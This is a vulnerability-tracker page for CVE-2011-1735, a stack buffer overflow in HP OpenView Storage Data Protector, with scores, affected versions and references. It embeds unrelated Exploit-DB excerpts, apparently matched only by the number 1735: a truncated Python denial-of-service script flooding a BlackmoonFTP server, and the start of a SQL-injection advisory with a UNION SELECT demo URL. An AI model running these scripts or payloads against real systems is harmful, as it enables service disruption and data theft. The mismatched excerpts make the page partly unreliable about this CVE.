CVE-2011-1735
published 2011-05-07CVE-2011-1735: Stack-based buffer overflow in OmniInet.exe in the Backup Client Service in HP OpenView Storage Data Protector 6.00, 6.10, and 6.11 allows remote attackers to…
PriorityP260critical10CVSS 2.0
AVNACLAuNCCICAC
EPSS
13.61%
96.0th percentile
Stack-based buffer overflow in OmniInet.exe in the Backup Client Service in HP OpenView Storage Data Protector 6.00, 6.10, and 6.11 allows remote attackers to execute arbitrary code via a malformed bm message.
Affected
3 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| hp | openview_storage_data_protector | — | — |
| hp | openview_storage_data_protector | — | — |
| hp | openview_storage_data_protector | — | — |
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
Blackmoon FTP 3.1 Build 1735/1736 - Denial of Service
exploitdb·2011-01-13
CVE-2011-0507 Blackmoon FTP 3.1 Build 1735/1736 - Denial of Service
Blackmoon FTP 3.1 Build 1735/1736 - Denial of Service
---
#!/usr/bin/python
# Exploit Title: BlackmoonFTP Server DOS
# Date: 12/28/2010
# Author: Craig Freyman (cd1zz)
# Software Link: http://www.mediafire.com/?bnc4d00myymmx55
# Version: 3.1 Release 6 - Build 1735 and 1736
# Tested On: Windows XP SP3
# Vendor Contacted: 12/28/2010
# Vendor Fixed: 1/13/2011
import socket
import sys
buffer = '\x41' * 600
counter = 1
if len(sys.argv) != 3:
print "Usage: ./blackmoonDOS.py "
sys.exit()
ip = sys.argv[1]
port = sys.argv[2]
while counter <= 300:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
print "[*] Sending evil buffer. Count " + str(counter) + " out of 300"
s.connect((ip,int(port)))
s.recv(1024)
s.send('PORT ' + buffer + '\r\n')
s.recv(1024)
s.send('QUIT \r\n')
s.recv(1024
Exploit-DB
vidshare pro - SQL Injection / Cross-Site Scripting
exploitdb·2009-05-19
CVE-2009-1735 vidshare pro - SQL Injection / Cross-Site Scripting
vidshare pro - SQL Injection / Cross-Site Scripting
---
-------------------------AllaH AkbaR-------------------------------
VidShare Pro MULTIPLE REMOTE VULNERABILITIES
Discovered By: Snakespc ALGERIAN HaCkEr
Mail: [email protected]
Site:http://www.snakespc.com/sc/index.php
Chi3arona houa : Serra7 merra7 , koulchi mderra7>>>>
Aflawa Kamikaz Wa4rin Fi kol Bla4s
-------------------------SNAKES TEAM-------------------------------------
Script:VidShare Pro www.omnisoftsol.com
Demo:http://www.omnisoftsol.com/index.php?option=com_content&task=view&id=7&Itemid=28
(listing_video.php)
--------------------------SNAKES TEAM------------------------------------
Exploit:SQL
Demo:
http://demo.omnisoftsol.com/listing_video.php?catid=2+UNION%20SELECT%201,2,3,4,CHAR(83,%20110,%2097,%20107,%20101,%2011
No writeups or analysis indexed.
http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02810240http://osvdb.org/72194http://secunia.com/advisories/44402http://www.securityfocus.com/archive/1/517771/100/0/threadedhttp://www.securityfocus.com/bid/47638http://www.securitytracker.com/id?1025454http://zerodayinitiative.com/advisories/ZDI-11-151/https://exchange.xforce.ibmcloud.com/vulnerabilities/67208http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02810240http://osvdb.org/72194http://secunia.com/advisories/44402http://www.securityfocus.com/archive/1/517771/100/0/threadedhttp://www.securityfocus.com/bid/47638http://www.securitytracker.com/id?1025454http://zerodayinitiative.com/advisories/ZDI-11-151/https://exchange.xforce.ibmcloud.com/vulnerabilities/67208
2011-05-07
Published